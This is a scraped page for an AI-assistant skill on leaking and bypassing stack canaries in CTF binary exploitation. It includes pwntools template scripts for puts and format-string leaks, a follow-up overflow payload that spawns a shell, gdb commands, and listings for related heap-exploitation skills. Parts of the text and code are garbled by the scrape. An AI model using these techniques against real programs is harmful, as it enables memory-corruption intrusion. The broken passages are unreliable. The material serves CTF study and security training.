skills/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary/SKILL.md
How to leak and bypass stack canary protections in binary exploitation challenges. Use this skill whenever the user mentions stack canaries, stack protector, __stack_chk_fail, CTF challenges with canary protection, or needs to exfiltrate canary values through puts/format strings. This skill covers techniques like leaking canaries via puts on overflowed stack, format string arbitrary reads, and crafting follow-up exploits once the canary is known.
npx skillsauth add abelrguezr/hacktricks-skills stack-canary-bypassInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Stack canaries (also called stack protectors) are a security mechanism that places a random value between local variables and the saved return address. When a function returns, the canary is checked—if it's been modified, the program calls __stack_chk_fail and terminates.
This skill covers techniques to leak and bypass stack canaries in CTF challenges and binary exploitation scenarios.
\x00) - this is critical for exploitationret)[higher addresses]
local variables
buffer (vulnerable to overflow)
↓
CANARY (8 bytes on x64, 4 bytes on x32)
↓
saved frame pointer (x64 only)
↓
saved return address
[lower addresses]
puts on Stackputs (or similar print function) with a pointer into your overflowed payloadputs on a pointer within your payload that points to the canary locationThe canary's first byte is \x00, which terminates C strings. When puts reads from the stack:
0x00 byte of the canaryputs to leak the canaryputs address from GOTsystem and /bin/shsystem('/bin/sh')puts on the overflowed buffer to leak canarysystem with ROP chain:
pop r0 (argument /bin/sh)pc (address of system)printf(user_input))%x, %p, %s%p or %x to read that stack positionTry incrementing the format specifier:
%1$p %2$p %3$p ... %20$p
Look for a value that:
00 (the null byte, though it may not print)# Check if canary is enabled
checksec binary_name
# Look for: Stack canary: yes
# Find the offset to the canary
# Use gdb to examine stack layout
(gdb) info frame
(gdb) x/20gx $rsp
Via puts:
from pwn import *
io = process('./vuln')
# First payload: leak canary
payload = b'A' * (canary_offset - 1) # Stop before null byte
payload += b'B' * 8 # Padding to reach puts pointer
payload += p64(puts_addr) # Address of puts in GOT
payload += p64(main_addr) # Return to main for second chance
io.sendline(payload)
leak = io.recvline()
# Extract canary from leak (skip first null byte)
canary = leak[1:9] # Adjust based on actual output
Via format string:
from pwn import *
io = process('./vuln')
# Find canary offset
for i in range(1, 30):
io.sendline(f'%{i}$p')
response = io.recvline()
# Look for suspicious value
# Once found, read it
io.sendline(f'%{canary_offset}$p')
canary_hex = io.recvline()
# Second payload: actual exploit with correct canary
payload = b'A' * buffer_offset
payload += canary # Include the leaked canary (with null byte)
payload += b'C' * 8 # Overwrite saved frame pointer (x64)
payload += p64(shellcode_addr) # Your payload
io.sendline(payload)
io.interactive()
The canary's first byte is \x00. When you leak it via puts, you only get bytes 2-8. When crafting your exploit, you must include the null byte:
# WRONG - missing null byte
canary = leaked_bytes # Only 7 bytes
# CORRECT - prepend null byte
canary = b'\x00' + leaked_bytes # Full 8 bytes
Canaries are stored in little-endian on x86/x64:
# If you read the canary as hex string, convert properly
canary_hex = "deadbeef00"
canary = u64(canary_hex.encode() + b'\x00') # Add null byte, convert
Some programs only allow one interaction. Make sure you can:
If ASLR is enabled:
# Find canary location
(gdb) break main
(gdb) run
(gdb) info frame
(gdb) x/20gx $rbp # or $rsp on x64
# Watch for __stack_chk_fail
(gdb) break __stack_chk_fail
(gdb) run
(gdb) x/10gx $rsp # Examine stack when canary check fails
# Find puts in GOT
(gdb) x/gx puts@GOT
from pwn import *
# Context setup
context.arch = 'amd64'
context.os = 'linux'
# Process with gdb for debugging
io = process('./vuln', gdb=True)
# Or use gdb context
io = process('./vuln')
gdb.attach(io, 'break main\nx/20gx $rsp')
| Technique | Requirements | Difficulty |
|-----------|-------------|------------|
| puts leak | Stack overflow + puts call + 2 payloads | Medium |
| Format string | Format string vuln + stack access | Easy-Medium |
| Info leak gadget | ROP chain to leak memory | Hard |
| Check | Command |
|-------|--------|
| Canary enabled | checksec binary |
| Find canary offset | gdb + x/20gx $rsp |
| Leak via puts | Overflow to canary + call puts |
| Leak via format | %n$p to find offset |
Use this skill when:
__stack_chk_fail crashesDon't use this skill for:
testing
How to perform a House of Lore (small bin attack) heap exploitation. Use this skill whenever the user mentions heap exploitation, small bin attacks, fake chunks, glibc heap vulnerabilities, or needs to insert fake chunks into small bins for arbitrary read/write. Trigger for CTF challenges involving heap corruption, glibc 2.31+ exploitation, or when the user needs to bypass malloc sanity checks using fake chunk linking.
testing
How to perform House of Force heap exploitation attacks. Use this skill whenever the user mentions heap exploitation, House of Force, top chunk manipulation, arbitrary memory allocation, malloc manipulation, or wants to allocate chunks at specific addresses. Also trigger for CTF challenges involving heap overflows, top chunk size overwrites, or when the user needs to calculate evil_size for heap attacks. Make sure to use this skill for any binary exploitation task involving glibc heap manipulation, even if they don't explicitly say "House of Force".
tools
How to perform House of Einherjar heap exploitation to allocate memory at arbitrary addresses. Use this skill whenever the user mentions heap exploitation, glibc heap attacks, arbitrary memory allocation, off-by-one overflow exploitation, tcache poisoning, fast bin attacks, or any CTF challenge involving heap manipulation. This is essential for binary exploitation tasks where you need to control malloc() return addresses.
testing
How to identify, analyze, and exploit heap overflow vulnerabilities in binary exploitation challenges and real-world scenarios. Use this skill whenever the user mentions heap overflows, memory corruption, heap grooming, tcache poisoning, fast-bin attacks, or any heap-related vulnerability in CTF challenges, binary analysis, or security research. This skill covers heap overflow fundamentals, exploitation techniques, heap grooming strategies, and real-world CVE analysis.